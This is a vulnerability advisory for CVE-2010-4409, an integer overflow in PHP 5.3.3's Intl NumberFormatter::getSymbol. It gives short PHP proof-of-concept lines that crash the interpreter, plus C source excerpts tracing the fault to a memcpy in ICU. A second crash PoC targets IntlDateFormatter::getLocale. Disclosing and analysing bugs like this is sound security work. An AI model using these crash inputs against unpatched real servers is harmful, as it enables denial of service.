Date:

    • Dis.: 11.11.2010
    • Pub.: 10.12.2010

CERT: VU#479900
CVE: CVE-2010-4409
CWE: CWE-189
Status: Fixed in PHP 5.3.4

Affected Software:

    • PHP 5.3.3

Original URL:
http://securityreason.com/achievement_securityalert/91

  • — 0.Description —
    Internationalization extension (further is referred as Intl) is a wrapper for ICU
    library, enabling PHP programmers to perform UCA-conformant collation and
    date/time/number/currency formatting in their scripts.

Number Formatter: allows to display number according to the localized format or
given pattern or set of rules, and to parse strings into numbers.

  • — 1. PoC for Integer Overflow —
    $nx=new NumberFormatter("pl",1);
    $nx->getSymbol(2147483648);

  • — 2. PHP 5.3.3/5.2.14 NumberFormatter::getSymbol Integer Overflow —
    As we can see in


PHP_FUNCTION( numfmt_get_symbol )
{
long symbol;
UChar value_buf[4];
UChar *value = value_buf;
int length = USIZE(value);
FORMATTER_METHOD_INIT_VARS;

    /* Parse parameters. */
    if( zend_parse_method_parameters( ZEND_NUM_ARGS() TSRMLS_CC, getThis(),

"Ol",
&object, NumberFormatter_ce_ptr, &symbol ) == FAILURE )
{
intl_error_set( NULL, U_ILLEGAL_ARGUMENT_ERROR,
"numfmt_get_symbol: unable to parse input params", 0
TSRMLS_CC );

            RETURN_FALSE;
    }

    /* Fetch the object. */
    FORMATTER_METHOD_FETCH_OBJECT;

    length = unum_getSymbol(FORMATTER_OBJECT(nfo), symbol, value_buf,

length, &INTL_DATA_ERROR_CODE(nfo)); <================= !!!TO BIG INT HERE!!!

let's see ICU UnicodeString::extract(unsigned short*, int, UErrorCode&)


int32_t
UnicodeString::extract(UChar *dest, int32_t destCapacity,
UErrorCode &errorCode) const {
int32_t len = length();
if(U_SUCCESS(errorCode)) {
if(isBogus() || destCapacity<0 || (destCapacity>0 && dest==0)) {
errorCode=U_ILLEGAL_ARGUMENT_ERROR;
} else {
const UChar array = getArrayStart();
if(len>0 && len<=destCapacity && array!=dest) {
uprv_memcpy(dest, array, len
U_SIZEOF_UCHAR); <======= MEMCPY REFERENCE
HERE
}
return u_terminateUChars(dest, destCapacity, len, &errorCode);
}
}

return len;

}


so crash in rip=memcpy(3).

Method getLocal() also can generate simple crash (CWE-170)

$nx=new IntlDateFormatter("pl", IntlDateFormatter::FULL,
IntlDateFormatter::FULL);
$nx->getLocale(1);
